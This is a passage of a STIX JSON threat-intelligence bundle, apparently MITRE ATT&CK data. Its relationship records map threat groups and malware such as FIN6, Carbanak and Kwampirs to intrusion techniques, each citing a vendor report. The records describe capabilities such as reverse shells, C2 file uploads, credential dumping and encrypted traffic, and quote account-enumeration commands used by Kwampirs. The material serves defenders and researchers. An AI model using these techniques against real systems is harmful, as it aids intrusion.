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                    "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.",
                    "source_name": "Villeneuve et al 2014"
                },
                {
                    "source_name": "NCC Group APT15 Alive and Strong",
                    "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.",
                    "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"
                }
            ],
            "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541",
            "type": "relationship",
            "modified": "2021-03-29T19:54:46.125Z",
            "created": "2017-05-31T21:33:27.034Z"
        },
        {
            "id": "relationship--a14c4d34-5a27-419a-b665-e1207ba55ca7",
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            "description": "[PLATINUM](https://attack.mitre.org/groups/G0068) has used keyloggers that are also capable of dumping credentials.(Citation: Microsoft PLATINUM April 2016)",
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            ],
            "external_references": [
                {
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                    "source_name": "Microsoft PLATINUM April 2016"
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            ],
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            "relationship_type": "uses",
            "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90",
            "type": "relationship",
            "modified": "2020-03-19T23:58:28.125Z",
            "created": "2018-04-18T17:59:24.739Z"
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            "description": "[APT3](https://attack.mitre.org/groups/G0022) leverages valid accounts after gaining credentials for use within the victim domain.(Citation: Symantec Buckeye)",
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            ],
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            "relationship_type": "uses",
            "target_ref": "attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f",
            "type": "relationship",
            "modified": "2020-03-16T18:24:19.298Z",
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        {
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            "relationship_type": "uses",
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                {
                    "url": "https://www.secureworks.com/research/bronze-union",
                    "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.",
                    "source_name": "SecureWorks BRONZE UNION June 2017"
                }
            ],
            "description": "(Citation: SecureWorks BRONZE UNION June 2017)",
            "type": "relationship",
            "modified": "2019-07-14T21:15:55.488Z",
            "created": "2017-12-14T16:46:06.044Z"
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        {
            "id": "relationship--e59e9443-740a-4e2b-a775-8ae59ceb3844",
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            ],
            "source_ref": "course-of-action--b91c2f9e-c1a0-44df-95f0-9e7c9d1d5e55",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--1df0326d-2fbc-4d08-a16b-48365f1e742d",
            "type": "relationship",
            "modified": "2020-02-18T18:35:21.818Z",
            "created": "2018-01-16T16:13:52.465Z"
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            "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) is capable of setting and deleting Registry values.(Citation: Bitdefender APT28 Dec 2015)",
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            ],
            "external_references": [
                {
                    "source_name": "Bitdefender APT28 Dec 2015",
                    "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.",
                    "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf"
                }
            ],
            "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
            "relationship_type": "uses",
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                }
            ],
            "description": "(Citation: FireEye APT30)",
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                {
                    "source_name": "Cylance Cleaver",
                    "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.",
                    "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
                }
            ],
            "description": "(Citation: Cylance Cleaver)",
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            "created": "2017-05-31T21:33:27.032Z"
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            "description": "[Elderwood](https://attack.mitre.org/groups/G0066) has delivered zero-day exploits and malware to victims via targeted emails containing a link to malicious content hosted on an uncommon Web server.(Citation: Symantec Elderwood Sept 2012)(Citation: CSM Elderwood Sept 2012)",
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                    "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.",
                    "source_name": "Symantec Elderwood Sept 2012"
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                {
                    "url": "https://www.csmonitor.com/USA/2012/0914/Stealing-US-business-secrets-Experts-ID-two-huge-cyber-gangs-in-China",
                    "description": "Clayton, M.. (2012, September 14). Stealing US business secrets: Experts ID two huge cyber 'gangs' in China. Retrieved February 15, 2018.",
                    "source_name": "CSM Elderwood Sept 2012"
                }
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                    "url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html",
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                    "source_name": "FireEye Shamoon Nov 2016"
                },
                {
                    "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/",
                    "source_name": "Unit 42 Shamoon3 2018"
                }
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            "description": "[Psylo](https://attack.mitre.org/software/S0078) has a command to download a file to the system from its C2 server.(Citation: Scarlet Mimic Jan 2016)",
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                    "source_name": "Scarlet Mimic Jan 2016",
                    "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"
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            "description": " [FIN6](https://attack.mitre.org/groups/G0037) has used PowerShell to gain access to merchant's networks, and a Metasploit PowerShell module to download and execute shellcode and to set up a local listener.(Citation: FireEye FIN6 April 2016)(Citation: FireEye FIN6 Apr 2019)(Citation: Visa FIN6 Feb 2019)",
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                    "source_name": "FireEye FIN6 April 2016"
                },
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                    "description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html",
                    "source_name": "FireEye FIN6 Apr 2019"
                },
                {
                    "description": "Visa Public. (2019, February). FIN6 Cybercrime Group Expands Threat to eCommerce Merchants. Retrieved September 16, 2019.",
                    "url": "https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf",
                    "source_name": "Visa FIN6 Feb 2019"
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            "type": "relationship",
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                {
                    "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html",
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            "description": "[Carbanak](https://attack.mitre.org/software/S0030) encrypts strings to make analysis more difficult.(Citation: FireEye CARBANAK June 2017)",
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                {
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                    "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html"
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            "description": "[Wingbird](https://attack.mitre.org/software/S0176) checks for the presence of Bitdefender security software.(Citation: Microsoft SIR Vol 21)",
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            "description": "A [gh0st RAT](https://attack.mitre.org/software/S0032) variant has used DLL side-loading.(Citation: Arbor Musical Chairs Feb 2018)",
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                    "source_name": "Arbor Musical Chairs Feb 2018"
                }
            ],
            "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24",
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            "description": "[DarkHydrus](https://attack.mitre.org/groups/G0079) has sent malware that required users to hit the enable button in Microsoft Excel to allow an .iqy file to be downloaded.(Citation: Unit 42 DarkHydrus July 2018)(Citation: Unit 42 Playbook Dec 2017)",
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                    "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.",
                    "source_name": "Unit 42 DarkHydrus July 2018"
                },
                {
                    "url": "https://pan-unit42.github.io/playbook_viewer/",
                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.",
                    "source_name": "Unit 42 Playbook Dec 2017"
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            ],
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            "modified": "2020-03-17T14:13:21.682Z",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The [Komplex](https://attack.mitre.org/software/S0162) trojan supports file deletion.(Citation: Sofacy Komplex Trojan)",
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            ],
            "external_references": [
                {
                    "source_name": "Sofacy Komplex Trojan",
                    "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
                }
            ],
            "source_ref": "malware--f108215f-3487-489d-be8b-80e346d32518",
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            "description": "[GravityRAT](https://attack.mitre.org/software/S0237) creates a scheduled task to ensure it is re-executed everyday.(Citation: Talos GravityRAT)",
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            ],
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                {
                    "source_name": "Talos GravityRAT",
                    "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"
                }
            ],
            "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637",
            "relationship_type": "uses",
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            "type": "relationship",
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            "description": "[Derusbi](https://attack.mitre.org/software/S0021) obfuscates C2 traffic with variable 4-byte XOR keys.(Citation: Fidelis Turbo)",
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                    "description": "Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.",
                    "source_name": "Fidelis Turbo"
                }
            ],
            "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2019-08-16T18:52:50.584Z",
            "created": "2017-12-14T16:46:06.044Z"
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            "description": "[Carbanak](https://attack.mitre.org/software/S0030) encrypts the message body of HTTP traffic with RC2 (in CBC mode). [Carbanak](https://attack.mitre.org/software/S0030) also uses XOR with random keys for its communications.(Citation: Kaspersky Carbanak)(Citation: FireEye CARBANAK June 2017)",
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            ],
            "external_references": [
                {
                    "source_name": "Kaspersky Carbanak",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf"
                },
                {
                    "source_name": "FireEye CARBANAK June 2017",
                    "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html"
                }
            ],
            "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4",
            "relationship_type": "uses",
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            "type": "relationship",
            "modified": "2020-03-30T18:46:58.188Z",
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            "description": "[Kwampirs](https://attack.mitre.org/software/S0236) collects a list of users belonging to the local users and administrators groups with the commands <code>net localgroup administrators</code> and <code>net localgroup users</code>.(Citation: Symantec Orangeworm April 2018)",
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                    "source_name": "Symantec Orangeworm April 2018",
                    "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"
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            "type": "relationship",
            "modified": "2020-03-18T22:06:42.517Z",
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            "relationship_type": "uses",
            "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
            "external_references": [
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                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf",
                    "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.",
                    "source_name": "Baumgartner Naikon 2015"
                }
            ],
            "description": "(Citation: Baumgartner Naikon 2015)",
            "type": "relationship",
            "modified": "2019-04-10T15:59:09.273Z",
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        },
        {
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            "description": "A [Patchwork](https://attack.mitre.org/groups/G0040) file stealer can run a TaskScheduler DLL to add persistence.(Citation: TrendMicro Patchwork Dec 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "source_name": "TrendMicro Patchwork Dec 2017"
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            ],
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            "type": "relationship",
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            "created": "2018-10-17T00:14:20.652Z"
        },
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            "description": "[Elderwood](https://attack.mitre.org/groups/G0066) has encrypted documents and malicious executables.(Citation: Symantec Elderwood Sept 2012)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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                {
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                    "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.",
                    "source_name": "Symantec Elderwood Sept 2012"
                }
            ],
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            "type": "relationship",
            "modified": "2021-01-06T19:32:29.095Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
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            "id": "relationship--ff922dd7-21b6-4f95-bb8b-080d0dee6655",
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            "description": "When a document is found matching one of the extensions in the configuration, [TINYTYPHON](https://attack.mitre.org/software/S0131) uploads it to the C2 server.(Citation: Forcepoint Monsoon)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Forcepoint Monsoon",
                    "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.",
                    "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "malware--85b39628-204a-48d2-b377-ec368cbcb7ca",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9"
        },
        {
            "id": "relationship--14639d10-6371-4e84-a637-a0e5846cb053",
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            "description": "[KEYMARBLE](https://attack.mitre.org/software/S0271) can obtain a list of running processes on the system.(Citation: US-CERT KEYMARBLE Aug 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT KEYMARBLE Aug 2018",
                    "description": "US-CERT. (2018, August 09). MAR-10135536-17 \u2013 North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.",
                    "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A"
                }
            ],
            "source_ref": "malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2020-03-20T02:14:26.665Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
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            "description": "[UPPERCUT](https://attack.mitre.org/software/S0275) has the capability to obtain the time zone information and current timestamp of the victim\u2019s machine.(Citation: FireEye APT10 Sept 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT10 Sept 2018",
                    "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html"
                }
            ],
            "source_ref": "malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077",
            "type": "relationship",
            "modified": "2020-03-17T02:46:42.609Z",
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        },
        {
            "id": "relationship--8e7887b3-f622-4860-9bda-3f4ab6231393",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) can download additional files and payloads to compromised hosts.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)(Citation: Morphisec ShellTea June 2019)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye Know Your Enemy FIN8 Aug 2016",
                    "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.",
                    "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html"
                },
                {
                    "description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.",
                    "url": "http://blog.morphisec.com/security-alert-fin8-is-back",
                    "source_name": "Morphisec ShellTea June 2019"
                }
            ],
            "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2019-06-28T20:48:52.515Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[TDTESS](https://attack.mitre.org/software/S0164) provides a reverse shell on the victim.(Citation: ClearSky Wilted Tulip July 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ClearSky Wilted Tulip July 2017",
                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf"
                }
            ],
            "source_ref": "malware--0b32ec39-ba61-4864-9ebe-b4b0b73caf9a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-19T22:00:22.398Z",
            "created": "2018-01-16T16:13:52.465Z"
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            "description": "[APT19](https://attack.mitre.org/groups/G0073) used Regsvr32 to bypass application control techniques.(Citation: FireEye APT19)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html",
                    "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.",
                    "source_name": "FireEye APT19"
                }
            ],
            "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab",
            "type": "relationship",
            "modified": "2020-06-20T22:48:29.688Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
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            "description": "[Pteranodon](https://attack.mitre.org/software/S0147) executes functions using rundll32.exe.(Citation: Palo Alto Gamaredon Feb 2017)",
            "object_marking_refs": [
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            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Gamaredon Feb 2017",
                    "description": "Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"
                }
            ],
            "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5",
            "type": "relationship",
            "modified": "2020-06-22T17:54:15.490Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[TinyZBot](https://attack.mitre.org/software/S0004) contains screen capture functionality.(Citation: Cylance Cleaver)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Cleaver",
                    "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.",
                    "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
                }
            ],
            "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2021-04-21T16:41:34.701Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--5647be4e-ef31-4b7d-a2d1-7feefafab345",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[iKitten](https://attack.mitre.org/software/S0278) lists the current processes running.(Citation: objsee mac malware 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "objsee mac malware 2017",
                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
                    "url": "https://objective-see.com/blog/blog_0x25.html"
                }
            ],
            "source_ref": "malware--2cfe8a26-5be7-4a09-8915-ea3d9e787513",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2020-01-17T22:37:17.371Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--07ab4fde-e1fd-4740-863e-c40cc8722d32",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has used public sites such as github.com and sendspace.com to upload files and then download them to victim computers.(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: PTSecurity Cobalt Dec 2016) The group's JavaScript backdoor is also capable of downloading files.(Citation: Morphisec Cobalt Gang Oct 2018)",
            "object_marking_refs": [
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                {
                    "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf",
                    "description": "Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.",
                    "source_name": "PTSecurity Cobalt Group Aug 2017"
                },
                {
                    "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf",
                    "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.",
                    "source_name": "PTSecurity Cobalt Dec 2016"
                },
                {
                    "source_name": "Morphisec Cobalt Gang Oct 2018",
                    "url": "https://blog.morphisec.com/cobalt-gang-2.0",
                    "description": "Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018."
                }
            ],
            "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2019-07-26T23:38:33.633Z",
            "created": "2018-10-17T00:14:20.652Z"
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        {
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used PowerShell for execution.(Citation: SecureWorks BRONZE UNION June 2017)",
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                {
                    "url": "https://www.secureworks.com/research/bronze-union",
                    "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.",
                    "source_name": "SecureWorks BRONZE UNION June 2017"
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            ],
            "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "type": "relationship",
            "modified": "2019-07-14T21:15:54.966Z",
            "created": "2017-12-14T16:46:06.044Z"
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            "object_marking_refs": [
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            "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
            "relationship_type": "uses",
            "target_ref": "tool--242f3da3-4425-4d11-8f5c-b842886da966",
            "external_references": [
                {
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf",
                    "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.",
                    "source_name": "FireEye FIN6 April 2016"
                }
            ],
            "description": "(Citation: FireEye FIN6 April 2016)",
            "type": "relationship",
            "modified": "2019-06-28T14:59:17.853Z",
            "created": "2017-05-31T21:33:27.072Z"
        },
        {
            "id": "relationship--be2798b5-a9bc-409d-bdf5-eaca8f2eb94e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--d69e568e-9ac8-4c08-b32c-d93b43ba9172",
            "relationship_type": "uses",
            "target_ref": "malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a",
            "external_references": [
                {
                    "url": "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets",
                    "description": "Security Response Attack Investigation Team. (2018, June 19). Thrip: Espionage Group Hits Satellite, Telecoms, and Defense Companies. Retrieved July 10, 2018.",
                    "source_name": "Symantec Thrip June 2018"
                }
            ],
            "description": "(Citation: Symantec Thrip June 2018)",
            "type": "relationship",
            "modified": "2019-03-25T17:06:37.182Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--f28627be-fddd-455c-b001-abddaaa29fa7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Winnti Group](https://attack.mitre.org/groups/G0044) used stolen certificates to sign its malware.(Citation: Kaspersky Winnti April 2013)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securelist.com/winnti-more-than-just-a-game/37029/",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017.",
                    "source_name": "Kaspersky Winnti April 2013"
                }
            ],
            "source_ref": "intrusion-set--c5947e1c-1cbc-434c-94b8-27c7e3be0fff",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082",
            "type": "relationship",
            "modified": "2019-03-25T17:15:03.466Z",
            "created": "2017-05-31T21:33:27.079Z"
        },
        {
            "id": "relationship--d200ba08-8179-495e-a854-9b13be5c0f93",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A variant of [Emissary](https://attack.mitre.org/software/S0082) appends junk data to the end of its DLL file to create a large file that may exceed the maximum size that anti-virus programs can scan.(Citation: Emissary Trojan Feb 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Emissary Trojan Feb 2016",
                    "description": "Falcone, R. and Miller-Osborn, J.. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/"
                }
            ],
            "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5",
            "type": "relationship",
            "modified": "2020-03-16T15:50:19.917Z",
            "created": "2017-12-14T16:46:06.044Z"
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        {
            "id": "relationship--d5c86dd3-3cfa-4ade-8984-fdf079b9f81b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RTM](https://attack.mitre.org/software/S0148) strings, network data, configuration, and modules are encrypted with a modified RC4 algorithm. [RTM](https://attack.mitre.org/software/S0148) has also been delivered to targets as various archive files including ZIP, 7-ZIP, and RAR.(Citation: ESET RTM Feb 2017)(Citation: Unit42 Redaman January 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf",
                    "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.",
                    "source_name": "ESET RTM Feb 2017"
                },
                {
                    "source_name": "Unit42 Redaman January 2019",
                    "url": "https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/",
                    "description": "Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020."
                }
            ],
            "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-06-16T20:51:13.581Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--ec3f88b1-ba85-497f-91d0-3eb8dcc5c4f1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[NanHaiShu](https://attack.mitre.org/software/S0228) can gather the victim computer name and serial number.(Citation: Proofpoint Leviathan Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
